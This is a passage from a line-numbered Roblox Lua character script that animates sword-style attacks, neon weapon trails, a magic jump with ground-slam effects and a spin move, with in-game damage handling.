  3261. swait()
  3262. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3263. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3264. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3265. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3266. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3267. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3268. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3269. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3270. end
  3271. --dmgstop()
  3272. attack=false
  3273. Humanoid.WalkSpeed = 12
  3274. if TrailDeb == true then
  3275. TrailDeb = false
  3276. end
  3277. end
  3278.  
  3279. function attackone()
  3280. attack=true
  3281. if TrailDeb == false then
  3282. TrailDeb = true
  3283. end
  3284.  
  3285.  
  3286. coroutine.wrap(function()
  3287. local Old = Handle.CFrame.p
  3288. while wait()do
  3289. if not TrailDeb then break end
  3290. local New = Handle.CFrame.p
  3291. local Mag =(Old -New).magnitude
  3292. local Dis =(Old +New)/2
  3293. local Trail = Instance.new("Part",Character)
  3294. Trail.Material = "Neon"
  3295. Trail.Anchored = true
  3296. Trail.CanCollide = false
  3297. Trail.BrickColor = TorsoColor
  3298. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3299. Trail.TopSurface = 0
  3300. Trail.BottomSurface = 0
  3301. Trail.formFactor = "Custom"
  3302. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3303. local ms = Instance.new("BlockMesh",Trail)
  3304. ms.Scale = Vector3.new(1,1,1)
  3305. local TM = Instance.new("CylinderMesh",Trail)
  3306. TM.Scale = Vector3.new(1,1,1)
  3307. Old = New
  3308. coroutine.wrap(function()
  3309. for i = 1,0,-0.1 do
  3310. wait()
  3311. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3312. end
  3313. Trail:remove()
  3314. end)()
  3315. coroutine.wrap(function()
  3316. for i = 1,10 do
  3317. wait()
  3318. Trail.Transparency = Trail.Transparency +0.1
  3319. end end)()end end)()
  3320. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3321. for i=0,1,0.08 do
  3322. swait()
  3323. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3324. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3325. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3326. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3327. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3328. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3329. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3330. end
  3331. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3332. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3333. for i=0,1,0.1 do
  3334. swait()
  3335. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3336. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3337. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3338. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3339. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3340. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3341. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3342. end
  3343. --dmgstop()
  3344. attack=false
  3345. con1:disconnect()
  3346. if TrailDeb == true then
  3347. TrailDeb = false
  3348. end
  3349. end
  3350.  
  3351. function attacktwo()
  3352. attack=true
  3353. if TrailDeb == false then
  3354. TrailDeb = true
  3355. end
  3356.  
  3357.  
  3358. coroutine.wrap(function()
  3359. local Old = Handle2.CFrame.p
  3360. while wait()do
  3361. if not TrailDeb then break end
  3362. local New = Handle2.CFrame.p
  3363. local Mag =(Old -New).magnitude
  3364. local Dis =(Old +New)/2
  3365. local Trail = Instance.new("Part",Character)
  3366. Trail.Material = "Neon"
  3367. Trail.Anchored = true
  3368. Trail.CanCollide = false
  3369. Trail.BrickColor = TorsoColor
  3370. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3371. Trail.TopSurface = 0
  3372. Trail.BottomSurface = 0
  3373. Trail.formFactor = "Custom"
  3374. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3375. local ms = Instance.new("BlockMesh",Trail)
  3376. ms.Scale = Vector3.new(1,1,1)
  3377. local TM = Instance.new("CylinderMesh",Trail)
  3378. TM.Scale = Vector3.new(1,1,1)
  3379. Old = New
  3380. coroutine.wrap(function()
  3381. for i = 1,0,-0.1 do
  3382. wait()
  3383. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3384. end
  3385. Trail:remove()
  3386. end)()
  3387. coroutine.wrap(function()
  3388. for i = 1,10 do
  3389. wait()
  3390. Trail.Transparency = Trail.Transparency +0.1
  3391. end end)()end end)()
  3392. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3393. for i=0,1,0.08 do
  3394. swait()
  3395. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3396. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3397. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3398. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3399. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3400. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3401. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3402. end
  3403. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3404. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3405. for i=0,1,0.1 do
  3406. swait()
  3407. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3408. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3409. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3410. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3411. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3412. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3413. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3414. end
  3415. --dmgstop()
  3416. attack=false
  3417. con1:disconnect()
  3418. if TrailDeb == true then
  3419. TrailDeb = false
  3420. end
  3421. end
  3422.  
  3423. function attackthree()
  3424. attack=true
  3425. if TrailDeb == false then
  3426. TrailDeb = true
  3427. end
  3428.  
  3429.  
  3430. coroutine.wrap(function()
  3431. local Old = Handle.CFrame.p
  3432. while wait()do
  3433. if not TrailDeb then break end
  3434. local New = Handle.CFrame.p
  3435. local Mag =(Old -New).magnitude
  3436. local Dis =(Old +New)/2
  3437. local Trail = Instance.new("Part",Character)
  3438. Trail.Material = "Neon"
  3439. Trail.Anchored = true
  3440. Trail.CanCollide = false
  3441. Trail.BrickColor = TorsoColor
  3442. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3443. Trail.TopSurface = 0
  3444. Trail.BottomSurface = 0
  3445. Trail.formFactor = "Custom"
  3446. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3447. local ms = Instance.new("BlockMesh",Trail)
  3448. ms.Scale = Vector3.new(1,1,1)
  3449. local TM = Instance.new("CylinderMesh",Trail)
  3450. TM.Scale = Vector3.new(1,1,1)
  3451. Old = New
  3452. coroutine.wrap(function()
  3453. for i = 1,0,-0.1 do
  3454. wait()
  3455. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3456. end
  3457. Trail:remove()
  3458. end)()
  3459. coroutine.wrap(function()
  3460. for i = 1,10 do
  3461. wait()
  3462. Trail.Transparency = Trail.Transparency +0.1
  3463. end end)()end end)()
  3464. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3465. for i=0,1,0.08 do
  3466. swait()
  3467. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3468. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3469. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3470. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3471. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3472. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3473. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3474. end
  3475. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3476. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3477. for i=0,1,0.05 do
  3478. swait()
  3479. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3480. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3481. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3482. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3483. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3484. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3485. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3486. end
  3487. --dmgstop()
  3488. attack=false
  3489. con1:disconnect()
  3490. if TrailDeb == true then
  3491. TrailDeb = false
  3492. end
  3493. end
  3494.  
  3495. function attackfour()
  3496. attack=true
  3497. if TrailDeb == false then
  3498. TrailDeb = true
  3499. end
  3500.  
  3501.  
  3502. coroutine.wrap(function()
  3503. local Old = Handle2.CFrame.p
  3504. while wait()do
  3505. if not TrailDeb then break end
  3506. local New = Handle2.CFrame.p
  3507. local Mag =(Old -New).magnitude
  3508. local Dis =(Old +New)/2
  3509. local Trail = Instance.new("Part",Character)
  3510. Trail.Material = "Neon"
  3511. Trail.Anchored = true
  3512. Trail.CanCollide = false
  3513. Trail.BrickColor = TorsoColor
  3514. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3515. Trail.TopSurface = 0
  3516. Trail.BottomSurface = 0
  3517. Trail.formFactor = "Custom"
  3518. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3519. local ms = Instance.new("BlockMesh",Trail)
  3520. ms.Scale = Vector3.new(1,1,1)
  3521. local TM = Instance.new("CylinderMesh",Trail)
  3522. TM.Scale = Vector3.new(1,1,1)
  3523. Old = New
  3524. coroutine.wrap(function()
  3525. for i = 1,0,-0.1 do
  3526. wait()
  3527. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3528. end
  3529. Trail:remove()
  3530. end)()
  3531. coroutine.wrap(function()
  3532. for i = 1,10 do
  3533. wait()
  3534. Trail.Transparency = Trail.Transparency +0.1
  3535. end end)()end end)()
  3536. coroutine.wrap(function()
  3537. local Old = Handle.CFrame.p
  3538. while wait()do
  3539. if not TrailDeb then break end
  3540. local New = Handle.CFrame.p
  3541. local Mag =(Old -New).magnitude
  3542. local Dis =(Old +New)/2
  3543. local Trail = Instance.new("Part",Character)
  3544. Trail.Material = "Neon"
  3545. Trail.Anchored = true
  3546. Trail.CanCollide = false
  3547. Trail.BrickColor = TorsoColor
  3548. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3549. Trail.TopSurface = 0
  3550. Trail.BottomSurface = 0
  3551. Trail.formFactor = "Custom"
  3552. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3553. local ms = Instance.new("BlockMesh",Trail)
  3554. ms.Scale = Vector3.new(1,1,1)
  3555. local TM = Instance.new("CylinderMesh",Trail)
  3556. TM.Scale = Vector3.new(1,1,1)
  3557. Old = New
  3558. coroutine.wrap(function()
  3559. for i = 1,0,-0.1 do
  3560. wait()
  3561. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3562. end
  3563. Trail:remove()
  3564. end)()
  3565. coroutine.wrap(function()
  3566. for i = 1,10 do
  3567. wait()
  3568. Trail.Transparency = Trail.Transparency +0.1
  3569. end end)()end end)()
  3570. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3571. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3572. for i=0,1,0.08 do
  3573. swait()
  3574. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3575. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3576. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3577. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3578. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3579. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3580. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3581. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3582. end
  3583. if anim then
  3584. anim.Disabled=true
  3585. end
  3586. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3587. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3588. for i=0,1,0.04 do
  3589. swait()
  3590. Torso.Velocity=RootPart.CFrame.lookVector*50
  3591. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3592. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3593. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3594. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3595. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3596. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3597. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3598. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3599. end
  3600. --dmgstop()
  3601. attack=false
  3602. con1:disconnect()
  3603. con2:disconnect()
  3604. if anim then
  3605. anim.Disabled=false
  3606. end
  3607. if TrailDeb == true then
  3608. TrailDeb = false
  3609. end
  3610. end
  3611.  
  3612. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3613. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3614. prt.Anchored = true
  3615. prt.CFrame = cframe
  3616. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3617. coroutine.resume(coroutine.create(function()
  3618. for i = 0, 1, 0.05 do
  3619. wait()
  3620. prt.Transparency = i
  3621. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3622. end
  3623. prt.Parent = nil
  3624. end))
  3625. end
  3626.  
  3627. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3628. for _, c in pairs(workspace:children()) do
  3629. local hum = c:findFirstChild("Humanoid")
  3630. if hum ~= nil then
  3631. local head = c:findFirstChild("Torso")
  3632. if head ~= nil then
  3633. local targ = head.Position - Part.Position
  3634. local mag = targ.magnitude
  3635. if mag <= magni and c.Name ~= Player.Name then
  3636. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3637. end
  3638. end
  3639. end
  3640. end
  3641. end
  3642.  
  3643. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3644. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3645. prt.Anchored = true
  3646. prt.CFrame = cframe
  3647. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3648. game:GetService("Debris"):AddItem(prt, 2)
  3649. coroutine.resume(coroutine.create(function(Part, Mesh)
  3650. for i = 0, 1, delay do
  3651. swait()
  3652. Part.CFrame = Part.CFrame
  3653. Part.Transparency = i
  3654. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3655. end
  3656. Part.Parent = nil
  3657. end), prt, msh)
  3658. end
  3659.  
  3660. function MagicJump()
  3661. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3662. attack=true
  3663. mana=mana-25
  3664. --[[ Humanoid.WalkSpeed = 0
  3665. for i=0,1,0.01 do
  3666. swait()
  3667. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3668. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3669. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3670. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3671. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3672. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3673. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3674. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3675. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3676. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3677. end]]--
  3678. Humanoid.Jump = true
  3679. Torso.Velocity = vt(0, 150, 0)
  3680. Humanoid.WalkSpeed = 64
  3681. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3682. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3683. for i=0,1,0.05 do
  3684. swait()
  3685. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3686. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3687. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3688. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3689. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3690. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3691. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3692. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3693. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3694. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3695. end
  3696. for i=0,1,0.02 do
  3697. swait()
  3698. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3699. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3700. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3701. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3702. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3703. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3704. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3705. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3706. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3707. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3708. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3709. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3710. end
  3711. Humanoid.WalkSpeed = 0
  3712. swait(8)
  3713. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3714. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3715. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3716. if hit~=nil then
  3717. swait(2)
  3718. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("White"),"Effect",vt())
  3719. ref.Anchored=true
  3720. ref.CFrame=cf(pos)
  3721. game:GetService("Debris"):AddItem(ref,3)
  3722. for i=1,10 do
  3723. local Col=BrickColor.new("White")
  3724. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3725. groundpart.Anchored=true
  3726. groundpart.CanCollide=false
  3727. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3728. local Col2=TorsoColor
  3729. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3730. groundpart2.Anchored=true
  3731. groundpart2.CanCollide=false
  3732. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3733. game:GetService("Debris"):AddItem(groundpart,5)
  3734. game:GetService("Debris"):AddItem(groundpart2,5)
  3735. end
  3736. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3737. BlastEffect(BrickColor.new("White"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3738. MagicCircle(BrickColor.new("White"),cf(pos),5,5,5,5,5,5,0.05)
  3739. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3740. for i=0,1,0.06 do
  3741. swait()
  3742. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3743. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3744. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3745. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3746. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3747. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3748. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3749. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3750. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3751. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3752. end
  3753. end
  3754. swait(20)
  3755. Humanoid.WalkSpeed = 12
  3756. --dmgstop()
  3757. attack=false
  3758. end
  3759. end
  3760.  
  3761. function Spin()
  3762. attack=true
  3763. mana=mana-40
  3764. if TrailDeb == false then
  3765. TrailDeb = true
  3766. end
  3767.  
  3768. coroutine.wrap(function()
  3769. local Old = Handle2.CFrame.p
  3770. while wait()do
  3771. if not TrailDeb then break end
  3772. local New = Handle2.CFrame.p
  3773. local Mag =(Old -New).magnitude
  3774. local Dis =(Old +New)/2
  3775. local Trail = Instance.new("Part",Character)
  3776. Trail.Material = "Neon"
  3777. Trail.Anchored = true
  3778. Trail.CanCollide = false
  3779. Trail.BrickColor = TorsoColor
  3780. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3781. Trail.TopSurface = 0
  3782. Trail.BottomSurface = 0
  3783. Trail.formFactor = "Custom"
  3784. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3785. local ms = Instance.new("BlockMesh",Trail)
  3786. ms.Scale = Vector3.new(1,1,1)
  3787. local TM = Instance.new("CylinderMesh",Trail)
  3788. TM.Scale = Vector3.new(1,1,1)
  3789. Old = New
  3790. coroutine.wrap(function()
  3791. for i = 1,0,-0.1 do
  3792. wait()
  3793. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3794. end
  3795. Trail:remove()
  3796. end)()
  3797. coroutine.wrap(function()
  3798. for i = 1,10 do
  3799. wait()
  3800. Trail.Transparency = Trail.Transparency +0.1
  3801. end end)()end end)()
  3802. coroutine.wrap(function()
  3803. local Old = Handle.CFrame.p
  3804. while wait()do
  3805. if not TrailDeb then break end
  3806. local New = Handle.CFrame.p
  3807. local Mag =(Old -New).magnitude
  3808. local Dis =(Old +New)/2
  3809. local Trail = Instance.new("Part",Character)
  3810. Trail.Material = "Neon"
  3811. Trail.Anchored = true
  3812. Trail.CanCollide = false
  3813. Trail.BrickColor = TorsoColor
